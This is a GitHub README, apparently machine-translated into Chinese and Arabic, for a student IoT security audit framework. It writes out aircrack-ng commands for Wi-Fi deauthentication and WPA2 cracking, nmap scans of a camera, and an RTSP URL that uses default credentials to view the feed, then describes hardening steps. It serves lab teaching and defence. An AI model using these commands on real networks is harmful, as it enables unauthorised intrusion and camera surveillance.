i39F/IoT-SmartGuard-Security
GitHub: i39F/IoT-SmartGuard-Security
一款交互式的物联网安全审计框架,在受控实验室环境中自动化执行从 WPA2 破解到 IP 摄像头利用再到防御加固的完整安全评估流程。
Stars: 0 | Forks: 0
# 🏆 SmartGuard — IoT 安全审计框架
**🥇 获奖者 · 毕业设计一等奖**
布赖代学院 · 网络安全系 · 2025/2026
[](smartguard.sh)
[](https://www.kali.org)
[](#)
[](#)
## 📌 项目概述
随着 IoT 设备成为智能家居不可或缺的一部分,其安全性往往落后于便利性。本项目演示了消费级 IP 摄像头中的薄弱配置如何导致严重的隐私泄露——并准确展示了如何修复这些问题。
我们构建了 **SmartGuard**,这是一个交互式的 Bash 框架,可在受控的实验室环境中自动执行三个安全阶段:
| 阶段 | 工具 | 目标 |
|-------|------|------|
| 01 · 无线攻击 | `aircrack-ng` 套件 | 破解 WPA2 并获取 LAN 访问权限 |
| 02 · 侦察 | `nmap` | 发现 IoT 设备及开放端口 |
| 03 · 加固验证 | 自定义检查清单 + `nmap` | 确认已应用 Defense-in-Depth |
## 🎯 目标
- 执行无线取消认证攻击以捕获 WPA2 握手
- 使用字典攻击(`rockyou.txt`)破解弱密码
- 获取访问权限后映射内部网络上的 IoT 设备
- 利用 IP 摄像头上未加密的 RTSP 视频流
- 应用并验证 **Defense-in-Depth** 加固策略
- 衡量加固后攻击面的减少程度
## 🏗️ 实验室网络拓扑
```
[ Attacker Machine (Kali Linux) ]
│
│ ① Deauth + Handshake Capture (aircrack-ng)
▼
[ Wi-Fi Router ] ──── [ IP Camera (192.168.8.186) ]
│ │
│ Port 80 (HTTP Admin)
│ Port 554 (RTSP Stream) ← ② Exploited
│
└─ ③ After Hardening: Camera moved to isolated IoT VLAN
```
## ⚡ 攻击方法论
### 阶段 01 · 无线网络利用
```
# 杀掉干扰 monitor mode 的进程
sudo airmon-ng check kill
# 在 wireless interface 上启用 monitor mode
sudo airmon-ng start wlan0
# 扫描周围网络 — 识别目标 BSSID 和 channel
sudo airodump-ng wlan0mon
# 从目标路由器捕获 WPA2 4-way handshake
sudo airodump-ng --bssid 1E:4A:44:D1:44:4B --channel 6 -w handshake_capture wlan0mon
# 强制客户端重新连接(触发 handshake 重新广播)
sudo aireplay-ng --deauth 20 -a 1E:4A:44:D1:44:4B -c FF:FF:FF:FF:FF:FF wlan0mon
# 对捕获的 handshake 进行字典 brute-force
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt handshake_capture-01.cap
```
**结果:** `KEY FOUND! [ 12345678 ]` — 默认的弱密码在几秒钟内被破解。
### 阶段 02 · 网络侦察与设备发现
```
# Host discovery — 映射 local subnet 上的所有活动设备
sudo nmap -sn 192.168.8.0/24
# 对 IP camera 进行 Service version scan — 重点关注 web 和 RTSP 端口
sudo nmap -sV -p 80,554,8080,443,22,23,21 192.168.8.186
# 带有 OS detection 和 banner grabbing 的深度扫描
sudo nmap -sV -O --script=http-title,banner -p 80,554 192.168.8.186
```
**在摄像头发现的开放端口:**
| 端口 | 协议 | 风险 | 发现 |
|------|----------|------|---------|
| 80 | HTTP | ⚠️ 中等 | 管理面板,无 HTTPS,默认凭据 |
| 554 | RTSP | 🔴 高 | 实时视频流,未加密,无认证 |
### 阶段 03 · 利用 — 视频流劫持
```
# 使用默认凭证通过暴露的 RTSP 访问实时视频流
rtsp://admin:admin@192.168.8.186:554/live
```
在 **VLC Media Player** 中打开 → 实现了对家庭摄像头视频流的完全未经授权访问。
## 🛡️ 防御与加固(缓解措施)
在演示攻击之后,我们实施了 **Defense-in-Depth** 策略:
### 采取的措施
1. **凭据加固** — 将默认的 `admin:admin` 更改为强唯一密码
2. **禁用协议** — 在摄像头设置中完全禁用 RTSP(端口 554)
3. **网络隔离** — 将 IoT 设备移至专用的隔离 VLAN
4. **隐藏 SSID** — 隐藏 IoT 网络的 SSID 以减少被动侦察
### 加固后验证
```
# 验证在加固后 RTSP 是否已禁用
sudo nmap -p 554 192.168.8.186
# 预期:554/tcp closed rtsp
```
## 📊 结果
| 安全控制 | 加固前 | 加固后 |
|-----------------|-----------------|-----------------|
| Wi-Fi 密码 | `12345678`(弱) | 强且唯一 ✅ |
| 摄像头密码 | `admin:admin`(默认) | 已更改 ✅ |
| RTSP 端口 554 | 开放且暴露 🔴 | 已关闭 ✅ |
| HTTP 端口 80 | 开放,无 HTTPS 🟡 | 已受限 ✅ |
| 网络 | 与主 LAN 共享 🔴 | 隔离的 VLAN ✅ |
| SSID 可见性 | 公开广播 🟡 | 已隐藏 ✅ |
| **总体风险** | **高 🔴** | **低 🟢** |
## 🔧 SmartGuard 工具
本项目包含 **SmartGuard**(`smartguard.sh`)—— 我们开发的一个交互式 Bash 框架,用于自动化整个审计工作流。
### 功能
- 带有进度指示器的彩色终端 UI
- 带有确认操作的逐步引导式执行
- 自动将会话日志记录到 `/tmp/smartguard_*.log`
- 生成会话后报告
- 依赖项检查器(aircrack-ng, nmap, xterm)
- 加固评分计算器(0–5 项检查,带有缩减百分比指标)
### 安装与使用
```
# Clone the repository
git clone https://github.com/i39F/IoT-SmartGuard-Security.git
cd IoT-SmartGuard-Security
# Make executable
chmod +x smartguard.sh
# 以 root 权限运行(airmon-ng 和 nmap 需要)
sudo ./smartguard.sh
```
### 主菜单
```
MAIN MENU — اختر المرحلة
──────────────────────────────────────────────────────────────
[1] Phase 01 → Wireless Attack & Handshake Capture
[2] Phase 02 → Network Reconnaissance & Port Scan
[3] Phase 03 → Hardening Verification Checklist
[4] Full Run → تشغيل المراحل الثلاث تسلسلياً
[5] Report → توليد تقرير الجلسة
[6] Check Deps → فحص الأدوات المثبتة
[0] خروج
```
### 环境要求
```
# 在 Kali Linux / Debian 上 Install all dependencies
sudo apt update && sudo apt install -y aircrack-ng nmap xterm
# 如果需要,Decompress wordlist
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```
## 👥 团队
| 姓名 | 角色 |
|------|------|
| Sulaiman Almanea | 团队负责人及攻击阶段 |
| Muath Alyhya | 无线安全与测试 |
| Abdulaziz Alharbi | 网络侦察 |
| Majed Alghrras | 加固与文档编写 |
| Mansour Alsuwayh | 工具开发与报告撰写 |
**指导教师:** Dr. Ahmed Elaraby · 网络安全系 · 布赖代学院
## 📁 仓库结构
```
IoT-SmartGuard-Security/
├── smartguard.sh # Main audit framework (Bash)
├── README.md # This file
└── docs/
└── Graduation_Project_v7.0.pdf # Full written report
```
**布赖代学院 · 网络安全系 · 毕业设计 2025/2026**
*"守护智能家居 —— 逐一消除漏洞"*
## 关于项目
يُعالج هذا المشروع إشكالية أمن أجهزة إنترنت الأشياء (IoT) في البيئات المنزلية الذكية، إذ باتت هذه الأجهزة هدفاً رئيسياً للمهاجمين نتيجة ضعف إعداداتها الافتراضية.
قمنا ببناء أداة **SmartGuard** — إطار عمل تفاعلي مكتوب بـ Bash يُنفّذ ثلاث مراحل أمنية متكاملة في بيئة مختبر خاضعة للسيطرة:
- **المرحلة الأولى:** اختراق الشبكة اللاسلكية عبر التقاط WPA2 Handshake وكسر كلمة المرور
- **المرحلة الثانية:** استطلاع الشبكة الداخلية واكتشاف الأجهزة والمنافذ المفتوحة
- **المرحلة الثالثة:** التحقق من تطبيق إجراءات التحصين ورفع تقرير بالنتائج
### 结果
تمكّن الفريق من اختراق الكاميرا كاملاً (كسر كلمة مرور الشبكة + الوصول للبث المباشر) ثم تطبيق استراتيجية **Defense-in-Depth** التي أسفرت عن **تقليص سطح الهجوم بنسبة 80%**.
### 团队
| الاسم | الجهة |
|-------|-------|
| سليمان المنيع | قائد الفريق |
| معاذ اليحيا | اختبار الاختراق اللاسلكي |
| عبدالعزيز الحربي | استطلاع الشبكات |
| ماجد الغراس | التحصين والتوثيق |
| منصور السويه | تطوير الأداة والتقارير |
**المشرف:** د. أحمد العرابي · قسم الأمن السيبراني · كليات بريدة
标签:IoT安全, PE 加载器, XXE攻击, 应用安全, 插件系统